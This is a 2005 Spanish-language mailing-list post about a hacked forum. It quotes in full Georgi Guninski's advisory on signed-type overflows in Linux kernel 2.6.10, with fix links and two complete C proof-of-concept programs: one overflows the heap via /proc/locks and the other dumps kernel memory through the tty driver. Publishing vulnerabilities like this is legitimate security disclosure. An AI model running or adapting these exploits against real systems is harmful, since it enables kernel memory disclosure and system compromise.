[Solar-general] OT: Crakearon los foros de Seprin
Enzo Fiorencis
l0biz0n en spymac.com
Jue Mar 31 17:07:10 CEST 2005
Estimado Juan,
> Esta noche, crakearon los foros de Seprin.
> http://www.seprin.net/index_frameset.htm diriganse a la seccion foros y hay un
> lindo cartel.
ya lo arreglaron....
Igual hay que separar varias cosas que es un deface,
que es un hijack, que es un denial y otros yuyos de ese tipo.
Y cuando tiene la culpa el sistema operativo y cuando un utilitario, y
esto me esta sonando mas a apaches viejos.
El linux tambien tiene no se cuantas distros, y cada una tiene
cosillas distintas http://www.LinuxSecurity.com todos los viernes me llega
una.
Si son medio paranoicos y quieren recibir unas 20 vulnerabilidades
por dia en general http://www.secunia.com/.
El ultimo advisory general que me llego, que creo que no lo mande aca
(por no ser una lista tecnica) lo pasteo aca y agarrelo quien le
sirva.
Sigo subiendo.
----------------------------------------------------------------------------
-
Georgi Guninski security advisory #73, 2004
linux kernel 2.6 fun. windoze is a joke
Systems affected:
linux kernel 2.6.10, probably earlier 2.6.
2.4 not tested
Date: 15 February 2005
Description:
There is misuse of signed types in 2.6, leading to buffer overflow and
reading kernel memory.
Details:
WDYBTGT3-1:
there is heap overflow in /proc in at least 2.6.10 and 2.6.11rc1-bk6 (
have not tested 2.4) on i386.
it is combination of:
1.
fs/proc/generic.c:63
proc_file_read(struct file *file, char __user *buf, size_t nbytes,
loff_t *ppos)
while ((nbytes > 0) && !eof) {
count = min_t(ssize_t, PROC_BLOCK_SIZE, nbytes);
(ssize_t) cast is the bug.
2.
proc_misc:
static int locks_read_proc(char *page, char **start, off_t off,
int count, int *eof, void *data)
{
the problem is "off_t off" which on i386 is long, while llseek uses loff_t
which is "long long".
so it is possible to land in locks_read_proc with both "count" and "off"
negative longs but with positive sum, which leads to overflow.
WDYBTGT3-2:
it is possible to read kernel memory on at least 2.6.10 and 2.6.11rc1 on
i386.
the problem is in drivers/char/n_tty.c
-----------------------
static inline int copy_from_read_buf(struct tty_struct *tty,
unsigned char __user **b,
size_t *nr)
ssize_t n;
n = min((ssize_t)*nr, n);
^^^^^^^^^
spin_unlock_irqrestore(&tty->read_lock, flags);
if (n) {
mb();
retval = copy_to_user(*b, &tty->read_buf[tty->read_tail], n);
^^^
WDYBTGT3-3:
have not been verified on real iron, but this codepath is suspicous:
net/atm/resources.c
int atm_dev_ioctl(unsigned int cmd, void __user *arg)
{
if (get_user(len, &sioc->length))
return -EFAULT;
case ATM_GETADDR:
error = atm_get_addr(dev, buf, len);
if (error < 0)
net/atm/addr.c
int atm_get_addr(struct atm_dev *dev,struct sockaddr_atmsvc __user *buf,int
size)
{
unsigned long flags;
struct atm_dev_addr *walk;
int total = 0, error;
if (copy_to_user(buf, tmp_buf, total < size ? total : size))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
WDYBTGT3-4:
have not been verified on real iron, but this codepath is suspicous:
fs/reiserfs/file.c:622
int reiserfs_copy_from_user_to_file_region(
...
int count = min_t(int,PAGE_CACHE_SIZE-offset,write_bytes);
page_fault = __copy_from_user(page_address(page)+offset, buf, count);
[dangerous only if sizeof(size_t) > sizeof(int) ]
WDYBTGT3-5:
Fix:
2.6.11-rc4 availabe at http://www.kernel.org/ fixes the "anomalies" and in
addition adds some checks at the vfs layer and copy_from_user.
Individual patches:
http://linux.bkbits.net:8080/linux-2.6/cset@4201818eC6aMn0x3GY_9rw3ueb2ZWQ?n
av=index.html|ChangeSet en -4w
http://linux.bkbits.net:8080/linux-2.6/cset@420181322LZmhPTewcCOLkubGwOL3w?n
av=index.html|ChangeSet en -4w
http://linux.bkbits.net:8080/linux-2.6/cset@4208e1fcfccuD-eH2OGM5mBhihmQ3A?n
av=index.html|ChangeSet en -4w
http://linux.bkbits.net:8080/linux-2.6/cset@42018227TkNpHlX6BefnItV_GqMmzQ?n
av=index.html|ChangeSet en -4w
proggies:
/*
* copyright georgi guninski
* cannot be used in vulnerability databases like securityfocus and mitre
*
* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/file.h>
#include <syscall.h>
#include <errno.h>
_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
uint, wh)
void makefiles()
{
int cou,fv;
char vn[242];
for(cou=0;cou<920;cou++)
{
snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou);
fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);
if (fv <0) perror("open2");
if (flock(fv,LOCK_EX) == -1) perror("flock");
}
while(42);
}
int main(int ac, char **av)
{
int fd,fv,i,cou;
void *mv;
char *he,*he2;
loff_t lr;
char c;
printf("\n\nThis may seriously screw your box\n\n");
printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n");
printf("Press 'Y' to run it\n");
read(0,&c,1);
if (c != 'Y') return 42;
cou=5;
printf("creating files...\n");
while(cou--)
if (!fork())
makefiles();
sleep(20);
printf("starting...\n");
system("sync");
fd=open("/proc/locks",O_RDONLY);
if (fd <0) perror("open");
he=malloc(1024*1024*8);
he2=malloc(1024*1024*8);
if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek");
i=read(fd,he2, 0x80004242);
perror("read");
printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2);
while(42);
return 42;
}
================================================
/*
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases like security focus and mitre
* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/vt.h>
#include <sys/vt.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>
#include <term.h>
#include <sys/mman.h>
int main(int ac, char **av)
{
int fd,fv;
int cou=4242,i;
char *bu;
struct termios ti;
struct termios ol;
char zer[1024];
fd=open("/dev/tty",O_RDWR);
if (fd<0) {perror("open");return -42;}
memset(&ti,0,sizeof(ti));
fv=open("kmem1",O_CREAT|O_RDWR|O_TRUNC,S_IRWXU);
if (fv <0 ) perror("open2");
/* how much to read in kilobytes*/
i=40*1024;
memset(zer,0,sizeof(zer));
while(i--) write(fv,zer,sizeof(zer));
bu=mmap(0,0x80000000,PROT_READ|PROT_WRITE,MAP_SHARED,fv,0);
if (-1 == (long) bu) perror("mmap");
printf("bu=%x\n",(int)bu);
if (ioctl(fd,TCGETS,&ti) < 0) perror("TCGETS");
ol=ti;
ti.c_lflag &= (~ICANON & ~ISIG & ~ICRNL & ~IXON & ~OPOST );
if (ioctl(fd,TCSETS,&ti) < 0) perror("TCSETS");
if (!fork())
{sleep(3);ioctl(fd,TIOCSTI,&cou);exit(0);};
sleep(2);
cou=read(fd,bu,0x80000000);
printf("read=%d\n",cou);
perror("read");
if (ioctl(fd,TCSETS,&ol) < 0) perror("TCSETS");
printf("done. check 'kmem1'");
system("reset");
return 42;
}
-----------------------------------------------------------------
Enzo
–'—=£0ßÎZ0N Ïs ßÅÇk=–'—®
------------------------------------------------------------------
* La diferencia entre una democracia y una dictadura consiste
en que en una democracia puedes votar antes de obedecer las
órdenes.
Charles Bukowsky.
------------------------------------------------------------------
Más información sobre la lista de distribución Solar-general